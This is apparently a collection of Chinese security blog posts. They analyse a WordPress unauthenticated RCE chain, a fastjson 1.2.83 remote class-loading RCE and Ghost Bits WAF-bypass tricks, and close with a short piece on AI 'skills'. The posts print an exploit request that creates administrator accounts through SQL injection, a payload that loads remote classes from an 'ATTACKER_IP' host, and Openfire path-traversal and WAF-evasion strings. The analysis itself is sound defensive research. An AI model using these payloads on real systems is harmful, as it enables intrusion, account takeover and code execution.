2026年了，在AI时代下总感觉什么都有可能，但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一，虽然wp架构复杂但是开发习惯很好，封装也比较严格，尤其是对权限的分割都做得很好，在5.0之后我一直认为wp不太可能出未授权的大漏洞了。

但很快，这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。

据说作者用AI完成了这个漏洞挖掘，并获得了50w刀的赏金。

• https://bugbunny.ai/blog/wordpress-7-0-2-rce-deep-dive#three-fixes-for-three-broken-assumptions
• 影响版本：WordPress 6.9.0~6.9.4、7.0.0~7.0.1

接下来我们就古法分析一下这个漏洞具体是怎么回事。

漏洞组合拳？

这次的漏洞严格意义上并不是以RCE为目的的漏洞，一共有三个组成，其中两个分配了CVE

• CVE-2026-63030：REST API 批量请求路由混淆漏洞
• CVE-2026-60137：WP_Query 的 author__not_in SQL 注入漏洞
• REST重入漏洞，导致管理员权限绕过，这个漏洞没有被分配CVE，但是修复了

而这三个漏洞能够最终构成RCE，有一个很大的原因就是，wp对超级管理员的权限给的很高，在超级管理员的后台你可以轻松的实现RCE利用。

所以与其说我们要在wp中寻找RCE，不如说我们的目标是找到如何进入后台的方法。

CVE-2026-63030 REST API 批量请求路由混淆漏洞

WordPress 的 WP_REST_Server::serve_batch_request_v1()

处理 /wp-json/batch/v1 批量请求时，内部维护了两个数组：

• $validation：存储每个子请求的验证结果
• $matches：存储每个子请求匹配到的路由

当某个子请求验证失败，错误就会写入$validation ，但是不会写入$matches。

这就导致这两个数组的偏移会不一致

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;  // 错误对象推入 $validation 数组
        continue; // BUG: 未向 $matches 数组推入对应条目，导致索引偏移
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;  // 仅成功请求推入 $matches 数组
    // ...
}

这样一来，攻击者就可以构造多次请求，先触发is_wp_error验证触发错误跳过，然后相应请求的参数就会被写入到match。

下一次请求重新读取match，由于match多了一个元素，偏移变了，会直接读取上一次的请求参数，就可以把恶意参数绕过检查直接代入到请求中。

听起来好像不知道具体有什么用？

那首先你要知道这个接口具体是干嘛的，为什么需要通过这种方式绕过。

WordPress 的 /wp-json/batch/v1 是一个合法的批量请求接口

// 一次 HTTP 请求里打包多个 REST API 调用
POST /wp-json/batch/v1
{
  "requests": [
    {"path": "/wp/v2/posts/1", "method": "GET"},
    {"path": "/wp/v2/posts/2", "method": "GET"},
    {"path": "/wp/v2/users/me", "method": "GET"}
  ],
  "validation": "require-all-validate"
}

比如说编辑器保存文章，点击保存，需要同时更新文章，修改分类，上传文件，通过这个接口就可以用一次请求触发多次请求完成目标。

由于这个接口本身就是前端功能之一，所以本身没有鉴权，所以第一步触发就不需要任何权限。

当然这不意味着通过这个接口就可以越权发起后台请求，因为你发送的每一条path，都会独立执行一遍路由匹配，权限检查，参数检查，然后才会发起请求。

在正常的流程中，后续会对参数做校验和检查

if ( ! $error ) {
    $check_required = $single_request->has_valid_params();   
// 类型检查
    if ( is_wp_error( $check_required ) ) {
        $error = $check_required;
    }
}
if ( ! $error ) {
    $check_sanitized = $single_request->sanitize_params();   
}

而通过这个漏洞，match获取和实际的参数不一致，在校验参数的时候就无法对应获取参数内容做检查，就绕过了参数过滤和限制。

总的来说，CVE-2026-63030，REST API的路由混淆其实较真的话只能算一个bug，因为它并不能直接造成危害，但却是难得的漏洞入口。

CVE-2026-60137：WP_Query SQL 注入

WP_Query 的 author__not_in 参数

如果为数组，则会遍历每个元素，并使用absint做处理，转为整数。

如果为字符串，则会直接被拼接到SQL语句当中

//wp-includes/class-wp-query.php  2399–2405
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    // BUG: 当值为标量（非数组）时，跳过 absint() 消毒，直接拼接进 SQL
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

这个漏洞非常简单粗暴，但是为什么无法利用呢？

因为你直接请求WP_Query注入，Rest请求走到参数检查的位置会触发检查和过滤，这也是我在开篇提到过的，为什么wp很难出高危漏洞，就是因为wp的编码习惯和全局安全处理做的非常好。

就比如这里正常的请求逻辑中，我们需要注入的参数author__not_in，在参数的类型定义中要求必须是数组，也就无法绕过后续的逻辑

// class-wp-rest-request.php
// schema 定义:
'author_exclude' => [
    'description' => '排除指定作者的文章',
    'type'        => 'array',          // ← 要求是数组
    'items'       => [
        'type' => 'integer',           // ← 每项要求是整数
    ],
    'default'     => [],
]

那么我们必须使用前面的路由混淆漏洞，避免对于参数类型检查，就可以成功实现字符串的拼接输入。

接下来呢？

前面说了，路由混淆漏洞本质上来说其实算一个bug，毕竟他不能提高你的权限。

绕过了参数检查之后，顺利触发了WP_Query的SQL注入漏洞。

但是问题依旧没有完全解决，SQL注入如何让我们获取超级管理员权限呢？毕竟union不能内联insert插入数据，仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。

• Wordpress缓存污染

WP_Query 将数据库查询结果行转换为 WP_Post 对象，并触发 WordPress 的请求本地对象缓存机制。

也就是说，其实我们并不是需要通过SQL注入来获取数据的什么内容。

而是通过SQL注入来控制数据库的返回

// WP_Query 执行完 SQL 后
$results = $wpdb->get_results( $sql );  // SQL 注入影响这里返回什么
// 把结果变成 WP_Post 对象，存入内存缓存
foreach ( $results as $row ) {
    $post = new WP_Post( $row );
    wp_cache_set( $post->ID, $post, 'posts' );  // ← 写入内存缓存
}

但是将内容写入到缓存，又有什么用呢？

• oEmbed Write Bridge

oEmbed 是一个嵌入内容的标准协议。当你在 WordPress 编辑器里粘贴一个链接，它自动变成可预览的嵌入卡片。

在编辑文章的时候，当用户输入链接，WordPress 调用 oEmbed API 获取元数据，然后会把对应的内容存入内存，这样下次访问就不用在请求了，而是访问缓存读取对应的内容。

那听起来oEmbed应该是一次性请求？

实际上，缓存会过期，就好像你嵌入的网站内容标题封面都会更换，所以oEmbed本身支持缓存刷新机制。

// wp-includes/class-wp-embed.php
// 第 263-267 行：get_post() 从缓存返回被污染的对象
$cached_post = get_post( $cached_post_id ); // 可能来自被污染的对象缓存
$cache      = $cached_post->post_content;
// 第 332-339 行：wp_update_post() 将稀疏更新与被污染的"原始值"合并
if ( $cached_post_id ) {
    wp_update_post(
        wp_slash( array(
            'ID'           => $cached_post_id,
            'post_content' => $html,  // 仅提交 ID + content，其他字段从被污染缓存合并
        ))
    );
}

通过这个机制，内存中的数据被二次写入数据库中。

虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据，他还是会写入到wp_posts表中，无法直接控制user表。

这涉及到了wp的另一个机制。

• Customizer 临时切换管理员身份

Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的，当前请求将临时获得管理员身份。

// wp-includes/class-wp-customize-manager.php
$original_user_id = get_current_user_id();
foreach ( $changeset_setting_ids as $setting_id ) {
    $setting = $this->get_setting( $setting_id );
    if ( $setting ) {
        // 临时切换到 changeset 的原始作者（可能是管理员）
        if ( isset( $setting_user_ids[ $setting_id ] ) ) {
            wp_set_current_user( $setting_user_ids[ $setting_id ] );
        } else {
            wp_set_current_user( $original_user_id );
        }
        $setting->save(); // 此处可触发嵌套的 REST dispatch
    }
}
wp_set_current_user( $original_user_id );

正常来说，这是一个正常的功能，因为changeset根本就没有控制创建者的方式，为了统一权限，内部请求本身会遇到权限限制，那就必须加入权限的切换，否则正常功能无法运行。

但其实这里即便是临时切换管理员，我们也无法做任何控制，关键在于下一步。

此时触发文章保存，除了以上的刷新以外，就会再次触发parse_request的hook，再次发起REST请求解析（前面说过这本身就是批量请求这个接口的原场景）

add_action( 'parse_request', 'rest_api_loaded' );

并且在后续的请求中，复用了刚才的状态，也就是被设置为管理员权限的batch

public function is_dispatching() {
    return (bool) $this->dispatching_requests;
}

再次触发REST之后，会重新按照请求再次解析一遍依次执行，但这个时候你已经是管理员权限了，所以可以执行管理员的请求。

重入的 serve_request()
  → dispatch()
    → match_request_to_handler("/batch/v1") → batch handler
    → serve_batch_request_v1() ← 整个外层 batch 重新跑
        → 外层[0] "http://:" → ERROR → 跳过
        → 外层[1] /wp/v2/posts → desync → batch handler
            → 读 body.requests → 内层 batch 重新跑
                → 内层[0] "http://:" → ERROR → 跳过
                → 内层[1] /wp/v2/widgets → SQL 注入（这次无所谓）
                → 内层[2] /wp/v2/posts → 触发 post 处理
                → 内层[3] /wp/v2/users → 管理员身份 → 201 ✅ 创建管理员！
                → 内层[4] /wp/v2/users → 管理员身份 → 201 ✅

在7.0.2中，当dispatch激活，加载器会提前返回，重入递归不会再进行下去，漏洞就无法利用了

// WordPress 7.0.2 — simplified.
if ( $this->is_dispatching() ) {
    return false;
}

通过这种方式，我们就可以实现管理员权限的任意REST API调用。

那最终我们在调用创建管理员的API创建超级管理员，后续利用就顺理成章了。

整个流程

攻击者（无需认证）
    │
    ▼
[Step 1] 发送 REST 批处理请求
         POST /wp-json/batch/v1
         包含3个子请求：错误请求 + oEmbed + 恶意查询
    │
    ▼
[Step 2] Batch Handler 去同步化（CVE-2026-63030）
         $requests[0] 错误 → 跳过但 $matches 未补位
         索引偏移导致路由混乱
    │
    ▼
[Step 3] 恶意标量值绕过消毒
         路由混乱将 unsanitized 标量送入 WP_Query
         author__not_in 参数未经 absint() 处理
    │
    ▼
[Step 4] SQL 注入（CVE-2026-60137）
         标量值直接拼接进 SQL 语句
         构造 UNION SELECT 注入恶意数据
    │
    ▼
[Step 5] 污染 WP_Post 内存缓存
         SQL 注入结果被缓存为 WP_Post 对象
         攻击者控制 post_content 等字段
    │
    ▼
[Step 6] oEmbed 刷新 + wp_update_post() 持久化
         oEmbed 处理器从缓存读取被污染的对象
         wp_update_post() 仅提交 ID + content
         其他字段从被污染的缓存"原始值"合并
         污染数据写入数据库
    │
    ▼
[Step 7] 层级修复（Hierarchy Repair）
         wp_update_post() 触发文章层级关系修复
         产生更多稀疏更新调用，扩大污染范围
    │
    ▼
[Step 8] Customizer 临时切换管理员身份
         class-wp-customize-manager.php 第 3569-3589 行
         wp_set_current_user() 切换到 changeset 作者（管理员）
    │
    ▼
[Step 9] 动态 Hook 碰撞 → REST 重入
         Customizer 的 setting->save() 触发 parse_request hook
         嵌套的 REST dispatch 继承管理员身份
         WP_REST_Server::is_dispatching() 未阻断重入
    │
    ▼
[Step 10] 以管理员身份创建管理员账户
          嵌套 REST dispatch 使用管理员身份
          调用 user creation API 创建新管理员
    │
    ▼
[Step 11] 安装恶意插件 → 任意代码执行
          攻击者使用新管理员账户登录
          上传包含 PHP webshell 的插件
          实现完整的远程代码执行

最后整个利用请求大概长这样

POST /?rest_route=/batch/v1 HTTP/1.1
Content-Type: application/json
{
  "requests": [
    {"method": "POST", "path": "http://:"},
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {"method": "GET", "path": "http://:"},
          {"method": "GET", "path": "/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+..."},
          {"method": "GET", "path": "/wp/v2/posts"},
          {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}},
          {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}}
        ]
      }
    },
    {"method": "POST", "path": "/batch/v1"}
  ]
}

其实我觉得这个漏洞最精巧的点有两个

第一是在SQL注入没有太多价值的情况下，通过控制SQL返回来完成后续利用条件，这个思路很妙，以前遇到过但是大多数都是类似于二次注入的场景。

第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权，实话讲完全没想到这里有个重入问题，因为如果不是重入根本无法实现提权，这个权限分级做的非常死。

在两个非常巧妙的漏洞结合下，实现了几乎最不可能的wp漏洞利用，这种超强的思维拓展，应该算是ai非常优秀的一个场景了

跳转微信打开

古法漏洞分析fastjson 1.2.83RCE

7月19日，推上的一名安全研究员声称，他发现了一个在fastjson 1.2.83版本中无需gadget的RCE漏洞。一时间激起千帆浪。

Fastjson虽然已经停止维护1版本，但是1版本的Fj依旧是互联网上应用最多的Java JSON库之一，虽然1.2.83没有在维护，但是在长期和fastjson对抗的时间里，83版本仅可以基于expectClass和第三方库构成的gadget做的极其有限的攻击利用，几乎无法RCE，所以很多厂家没有选择更新到FJ2增加不确定性。

在过去的1天多时间内，基于作者的部分信息，大家正在逐渐探索出了漏洞的真相。

在7月22日，原作者公开了他们的研究文档https://fearsoff.org/cn/research/fastjson-1-2-83-rce

关于漏洞起始

在这篇推文激起了外网的讨论之后，原作者逐渐公布了一些关于漏洞的信息

• 该漏洞影响fastjson 1.2.68 -> 1.2.83

• 与autoType无关，只有启用SafeMode或者迁移到Fastjosn 2.x来解决

• 不需要指定expectClass，不需要控制第二个参数，也不是走我们以往基于白名单类的绕过途径

• 这个漏洞至少影响互联网上最常见的3个版本，8，17，21

在这样的基础上，很多安全研究者开启了AI时代最有效的推进分析，真相被一点点剥开水面

抽丝剥茧

事情破局的第一步很快到来，github上有人直接分享了该漏洞的poc（这个poc已经404了），由于我已经没有截图了，甚至这个poc的推送作者是Codex，非常搞笑

• https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC

在这片文章里提到了一个很有趣的漏洞点

Fastjson可以通过 Spring Boot FatJar 的 LaunchedURLClassLoader 来远程加载带有@JSONType注解的类，最终远程代码执行。无论是否开启autoType。

在 Spring Boot FatJar 环境中时，LaunchedURLClassLoader 会将类资源路径解释为 jar:http:// URL，从而触发远程 HTTP 请求下载恶意 JAR，最终实现远程类加载和代码执行。

• 除了fastjson，还要求有springboot

• 应用以 Spring Boot FatJar 方式运行（使用 LaunchedURLClassLoader）

• JDK 版本为 8

以下是Poc原文给出的依赖

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<fastjson.version>1.2.83</fastjson.version>
<spring.boot.loader.version>2.7.18</spring.boot.loader.version>
<asm.version>9.6</asm.version>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-loader</artifactId>
<version>${spring.boot.loader.version}</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>${asm.version}</version>
</dependency>
</dependencies>

漏洞的实际利用很简单

在ParserConfig中，有这样一段代码

// ParserConfig.java 第 1479-1503 行
booleanjsonType=false;
InputStreamis=null;
try {
// 关键：把类名中的 . 替换成 /，拼成资源路径
Stringresource=typeName.replace('.', '/') +".class";
if (defaultClassLoader!=null) {
is=defaultClassLoader.getResourceAsStream(resource);  // ← 远程加载！
    }
if (is!=null) {
ClassReaderclassReader=newClassReader(is, true);
TypeCollectorvisitor=newTypeCollector("<clinit>", newClass[0]);
classReader.accept(visitor);
jsonType=visitor.hasJsonType();  // 检测 @JSONType 注解
    }
} catch (Exceptione) { /* skip */ }
if (autoTypeSupport||jsonType||expectClassFlag) {  // ← jsonType=true 绕过第一层
clazz=TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

fastjson会把请求中的.替换成/，然后拼接上.class之后加载。

本意是把类似于正常的包，转为路径加载

@type="com.example.MyModel"
→replace('.', '/') →"com/example/MyModel.class"
→getResourceAsStream→从本地classpath加载
→检测@JSONType→信任
→loadClass→正常业务类

但是这里就出现了几个华点

由于请求中的.替换成/，那么就可以通过构造.来绕过正常的限制

输入jar:http:..ATTACKER_IP:18080.exploit!.Payload
其中http:..转化为http://
其中ATTACKER_IP:18080.exploit转化为ATTACKER_IP:18080/exploit
其中!.转化为!/
最后一个问题是ip里的.也会被转义，那么更简单直接用整形ip
2130706433:18080->127.0.0.1:18080

所以最后通过巧妙的构造就可以实现远程加载poc

上一个poc由3个部分构成

1、replace('.', '/')的意外导致了巧妙的构建，绕过了对于/的限制，也侧面绕开了对于远程加载的限制

// ClassLoader.java
privateProtectionDomainpreDefineClass(Stringname, ProtectionDomainpd) {
...
if (name.indexOf('/') !=-1) {
thrownewNoClassDefFoundError("IllegalName: "+name);
    }
...
}

2、Spring Boot 的类加载器能解析 jar:http:// 嵌套 URL（这是 Spring Boot FatJar 加载嵌套 JAR 的正常功能）

3、@JSONType 注解这个路径入口没有被额外限制，允许远程加载

这条链路远程加载回来的类被defineClass后，静态初始化块<clinit>会立即执行，不会走到后续的类型绑定，所以其他的限制也无效。

parseObject(body, Dto.class) 生效之前的probe阶段就执行

但是问题接踵而至，如果原漏洞使用了这个路径，那么在高于JDK8的版本有这样一个限制

Class<?>loadClassInLaunchedClassLoader(Stringname) {
Stringresource=name.replace('.', '/') +".class";  
// 构建资源路径
InputStreamis=getParent().getResourceAsStream(resource);  
// 下载
byte[] bytes=readAll(is);
returndefineClass(name, bytes, 0, bytes.length);  //校验name
}

在远程加载成功之后，紧接着defineclass，不同版本的jdk会有不同的限制

defineClass(name, 字节码bytes)
│
├─Java层: preDefineClass
│checkName(name参数)
│→校验的是传入的name字符串
│→点号形式没有/，通过
│
└─native层: defineClass1→parseClassFile
│
├─第一轮: 把字节码解析成常量池结构
│→此时常量池里的类名是字节码原始值
│→即"jar:http://a/b/c!/Foo"（JVM内部格式，用/分隔）
│
└─第二轮: 遍历常量池，校验每个条目格式
遇到CONSTANT_UnresolvedClass时:
→verify_legal_class_name(常量池中的类名)
→verify_unqualified_name()
JDK8:  只禁 . ; [ →http:// 的 // 通过
JDK9+: 加禁连续// → http:// 的 // 被拒

这个限制让超过JDK8的版本只能触发ssrf，无法直接远程加载。

简单来说就是无法绕过高版本对于defineClass判定的限制。getResourceAsStream可以实现远程请求，但是defineClass判定的时候类名校验失败。

于是衍生出了第二个高版本利用的方案，用jar:file:来绕过双斜杠的协议协议。

阶段一：SSRF下载JAR到本地
getResourceAsStream("jar:http://attacker/probe!/POC.class")
→标准ClassLoader返回null，但LaunchedURLClassLoader
的底层URL解析机制会触发HTTP请求（下载JAR到临时文件）
→JAR落盘到/tmp或内存中，拿到文件描述符fd/N
阶段二：本地加载
getResourceAsStream("jar:file:/proc/self/fd/N!/POC.class")
→本地文件，单斜杠，通过verify_unqualified_name
→defineClass成功，<clinit>执行

也就是用ssrf来抓取文件到临时文件，然后遍历fd寻找这个临时文件，通过jarfile协议加载，这样就可以绕过高版本对于//的额外限制，顺利的在高版本做利用。

而这个遍历fd的利用方案也导致该问题再windows的高版本jdk中无法利用。

但是有没有觉得好像哪里都不太对？

看上去好像哪里不对？

在顺着分析了上一个poc的详细流程以及链路之后，我想所有人应该都会得出一个问题就是，为什么会有这样一个远程加载的classloader呢？

很显然，最早的POC在探索这个链路的时候，自己构造了一个Classloader来闭环整个链路

ClassLoaderurlNameClassLoader=newClassLoader(null) {
@Override
publicInputStreamgetResourceAsStream(Stringname) {
returnnewURL(name).openStream();  
    }
};
config.setDefaultClassLoader(urlNameClassLoader);
config.checkAutoType(TYPE, null);

在这个 PoC 中，getResourceAsStream()接收到的name会直接交给new URL(name)解析；如果 name 是一个远程 URL，就可能发起网络请求并读取远端内容。因此，后续链路才能闭环。

普通的Classloader，常规功能是在本地 classpath 里寻找对应的文件，找不到就返回null。所以大部分的Classloader并不支持这样一条链路。

------

SpringBoot Fat Jar算是一个特例，**LaunchedURLClassLoader.findResource**直接把name喂回了URLClassLoader，而URLClassPath的通用Loader将name根据不同格式解析，最后构成了利用链路。

URLClassLoader.findResource(name)
->URLClassPath.findResource(name)
->针对每个classpath根选择Loader

那么又有了一个新的问题，除了SpringBoot Fat Jar，其他的URLClassLoader为什么不会远程加载？尤其是Tomcat正常的WebappClassLoader也继承自URLClassLoader，并且JDK远程就支持jar协议，那为什么Tomcat下无法利用呢？

这个问题比想象的要复杂，以下这部分内容我修改了3次...

首先运行Fat jar的容器也会影响到利用链路。

使用Fat jar启动时，JVM默认的Classloader就是LaunchedURLClassLoader。而不同的容器的TCCL运行模式不一样，由于Fastjson用的是当前线程的ClassLoader，那么Tomcat会把他替换TomcatEmbeddedWebappClassLoader

但是Tomcat+SpringBoot Fatjar其实也是可以利用的，因为TomcatEmbeddedWebappClassLoader同样继承了URLClassLoader，但是重写了 loadClass，做了额外的限制不允许连续/输入，所以禁止了http链路，但同样可以走ssrf+遍历fd的方式利用。

只不过即便在JDK8环境下，依旧不能单次请求利用了。

那是不是必须是Fat jar呢，直接war部署在Tomcat/Jetty可以吗？

在Tomcat的WebappClassLoader，在资源查找的时候，会直接走WebResourceRoot然后在本地查找

Stringpath=nameToPath(name);
resource=resources.getClassLoaderResource(path);
if (resource.exists()) {
url=resource.getURL();
}

WebappClassLoaderBase不会做URL解析，在查找不到会返回null

TomcatEmbeddedWebappClassLoader.getResourceAsStream("jar:http://...")  
→WebappClassLoaderBase.getResource

而当WebappClassLoaderBase搜索不到的时候如果hasExternalRepositories为true会回退到父类URLClassLoader的findResource，依旧可以触发利用链路

publicURLfindResource(Stringname) {
Stringpath=nameToPath(name);  
WebResourceresource=resources.getClassLoaderResource(path);
URLurl=null;
if (resource.exists()) {
url=resource.getURL();
    }
//  回退到URLClassLoader
if (url==null&&hasExternalRepositories) {
url=super.findResource(name);
    }

而实际测试中，通过war方式部署在tomcat上，这个属性默认为false，所以利用链走不通。

那么为什么是SPringBoot呢？

除了前面不是条件的条件以外，想要走通这条链路。

还必须要求当前URLClassPath必须包含jar:file根。

而Spring Boot 为了加载依赖。他会构造类似于jar:file的嵌套根

jar:file:/path/app.jar!/BOOT-INF/classes!/

• file:/path/to.jar → URLClassPath 创建 JarLoader → 这个 JarLoader 只管在该 JAR 内部查找 entry。它用的是标准 JDK 的jar:协议处理器，只能处理 jar:file: 本地 URL。

• jar:file:/path/to.jar!/ → URLClassPath 创建 JarLoader → Spring Boot 启动时通过 registerUrlProtocolHandler() 注册了自定义jar:协议处理器。当这个 JarLoader 遇到资源名 jar:http://... 时，自定义处理器能把它解析为远程 URL，触发 SSRF。

所以Spring Boot Fat Jar 是已知容易满足该 URL 解析条件的环境之一

这样一来，这个漏洞的限定条件就变成了

• 该fastjson环境下的默认Classloader，继承URLClassLoader（或复用 URLClassPath），没有做额外的URLLoader限制，并且当前URLClasspath必须包含jar:file根，即可存在利用

作者公开原文

在漏洞细节被逐步推演出来之后，在7月22日，漏洞最早的发现者公开了他们研究的细节。

https://fearsoff.org/cn/research/fastjson-1-2-83-rce

有趣的是，相比于我们的AI复现逻辑，该作者挖掘漏洞的逻辑源于一个偶然，就像我说的，这种利用链路在常规的环境下是无法完成的，但是如果刚好复现中触发了远程加载后续的很多想法都顺利成章，所以最早的巧合就很有趣。

在完成的复盘完漏洞之后，内心还是百感交易，一方面基于AI的探索和漏洞挖掘体系逐渐变得熟练和成熟，AI能做的事情越来越多，另一方面也感叹，居然这种已经被研究烂了的目标还能巧妙的找到新的利用角度，任重而道远~

坦白讲这是我第一次以AI为主做漏洞复现和分析，在这个新时代下，效率的提升和未知领域的帮助AI提升巨大，但反过来，AI在未知位置隐藏的错误信息也可能会滚雪球误导，中间关于tomcat实际环境与SPringBoot联动问题在我3次和AI探讨都获得了不同的答案，如何避免这样的事情可能是接下来最重要的事情。

跳转微信打开

在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ua分享一个非常有趣的议题，Java中的GhostBits漏洞

在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ue分享一个非常有趣的议题，Java中的GhostBits漏洞

• • https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf

探究深度非常深，影响范围非常之广，内容非常有意思

什么是Ghost Bits？

Ghost Bits这个概念的来源太久很难深究，甚至在软件领域之前就已经有类似的概念。Ghost Bits主要是指那些在莫名其妙的位置影响到软件运行的位，所以形容像幽灵一样。

在这个议题中，Ghost Bits主要指的是在某些类型转换过程中被不小心丢掉的高位，导致原字符串内容变化。

最经典的场景就是char类型和byte类型的转换，也是Java的经典场景。

char类型是16位（2字节），byte类型是8位（1字节），如果发生char强制转换为byte就会丢弃高8位，只保留低8位。其中的8位就像幽灵一样消失了。

在Java中，有4种非常常见的写法都会有该问题

• • (byte) ch：显式的byte强制类型转化

• • ch & 0xFF：位掩码，保留低8位

• • OutputStream.write(int)：写入流时被截断

• • DataOutputStream.writeBytes()：官方JDK方法，在文档中明确写明会丢弃高8位

而在unicode中，会有大量的高位内容，经过处理和转换之后就会被截断变成对应的字符

要注意的是，这个问题本质上在源代码层面表现一致，不能单独算作是一个漏洞，所以在80%的场景下，该问题主要影响的是和源代码不在同一层的软件，其中最经典的就是waf！

具体怎么回事？

基础的原理刚才都理解了，其实就是利用高位无效的机制问题，使得输入的内容在waf和实际源代码处理的时候遇到的是不同的内容。

比如说中文字阮，经过处理之后源代码获得的就是.

字符 '阮' = U+962E = 0x962E
(byte) 0x962E = 0x2E = '.'

那你就可以用这种方式绕过WAF的限制

比如说我输入\u丰丰耳失，waf收到这个输入的时候认为没有任何敏感词，则放行到后端jackson，后端将其转为byte，最终拼接成sql注入语句

最神奇的是，这种逻辑的泛用性极强，首先本身高位被抛弃意味着高位可以塞入任意值，那么对于poc就是多对1的转化关系。

以下两种都可以直接转为对应的../../，这对于waf来讲就是极强的考验，即便只针对byte的转化关系，waf也非常难处理

继续拓展？

刚才提到了，在java本身的代码中，char类型和byte类型的转化是非常常用的写法，其带来的问题往往并不能直白的影响到源代码层面，但对于安全来讲，似乎小概率事件会导致大概率问题？！

CVE-2025-41242 Spring框架因Jetty URI解析不一致导致的路径穿越漏洞

刚才我们讨论的是泛用性非常强的waf场景，那么在Spring框架下，本身会有一个非常大的问题，就是Spring框架中StringUtils.uriDecode和JettyURIUtil.encodePathSafeEncoding的处理方式不一致，导致了底层的路径穿越问题。

• • https://github.com/advisories/GHSA-r936-gwx5-v52f

• • https://github.com/spring-projects/spring-framework/commit/24e66b63

对于Spring框架的StringUtils.uriDecode方法

遇到%时会做专门的处理，并调用ByteArrayOutputStream.write导致了高位bit丢失，出现Ghost Bits漏洞。

阮严灵丰丰甲来会被转为.%u002e

这个输入在Spring层面，不但可以通过isInvalidPath/isInvalidEncodedPath的路径检查，还不会被识别为正常的%u编码，全部放行

传递到Jetty中，URIUtil.encodePathSafeEncoding却会将%u002e做unicode解码转为.，最终构造成为../

Openfire CVE-2023-32315 — 认证绕过

转为Byte丢失高位的方案大家都知道，还有一些更邪门的其他漏洞，其实本质上也是类似的问题。

一个很有趣的例子就是Openfire CVE-2023-32315，这个漏洞本质上是一个基础的路径穿越漏洞

• • CVE-2008-6508，最早的漏洞只需要..就可以实现路径穿越

• • CVE-2023-32315，发现可以用%u002e，也就是UTF-16来替代%2e实现路径穿越，因为AuthCheckFilter并没有校验对应的输入，但Jetty支持%u解码，导致了漏洞的绕过

poc就是这样的

/setup/setup-a/%u002e%u002e/%u002e%u002e/log.jsp

很多WAF都加入了%u002e%u002e作为关键字之一，那么你可以使用这个poc来绕过

/setup/setup-a/%2>%2>/%2>%2>/log.jsp

这里有个比较邪门的点在于，对于大部分框架来说，他们不会把%2>当做url编码去处理，因为>并不是合法的url编码。

但是对于Jetty来说，他会一视同仁，把>传入到convertHexDigit做处理

public static byte convertHexDigit(byte c) {
    byte b = (byte)((c & 0x1f) + ((c >> 6) * 0x19) - 0x10);
if (b < 0 || b > 15)
thrownewNumberFormatException("!hex " + c);
return b;
}

也就是说即便是符号>依旧会经过这一套算法，最终获得结果是14，对应E

那么这样一来，waf收到的请求是%2>不合法的url编码不做处理，jetty把他处理转为了%2E成功输入.绕过waf。

写在最后

其实类似的场景同样非常多，因为许多大型框架中，除了显式的Java类型转化，还会有隐式的框架中的处理导致同样的问题，在原议题中分享了不同框架下涉及到不同漏洞的很多种问题，他们无一都是开发者无意中触发了Ghost bits问题，设计者并没有提前考虑好类型强制转化的额外影响。

正如演讲结尾所说："We have only scratched the surface" — 这才刚刚开始。

跳转微信打开

从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？

继续接着之前的内容来写，从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。

这篇文章讲到的这些概念不是第一天诞生，我相信很多朋友也实打实的在使用这些方法论，那这篇文章让我们重新回顾一下这些概念，也伴随的感受一些，为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？

什么是Skill？

在前两篇文章当中，我曾经提到过，AI有两个非常重要的时间节点，第一个是chatgpt的初诞生，它意味着AI与人类交流沟通的屏障解开了，我们可以通过对话和大模型沟通并让他理解我们的需求。

• • chatgpt打通了人和AI的壁垒

在这个时间节点，大部分场景我们只能依赖prompt，提示词工程来一定程度的定向提高大模型的能力，虽然我觉得并没有什么卵用。

第二个关键的时间节点，gpt4在2023年初推出了Plugins功能，并且在2023年6月推出了Function Calling函数调用功能。

这意味着给给大脑接上了手和脚，大模型不再受限于自己提前训练的数据集，他可以主动调用其他工具收集信息，尤其是联网功能，大幅度提高了大模型的实用价值。

• • ChatGPT Plugins的诞生

其实plugins和Function Calling功能，就是Skill的雏形。

Skill的本质其实就是，把某些特定的场景和解决方案收束成一个skill（技能），给予他一个触发条件，只有触发该条件才会读取这个Skill的内容并按照要求执行下去。

Skill的概念可以说是大模型应用非常核心的一部分，首先它拥有完全符合AI应用理念的特征，还能契合当前AI应用的实际场景。

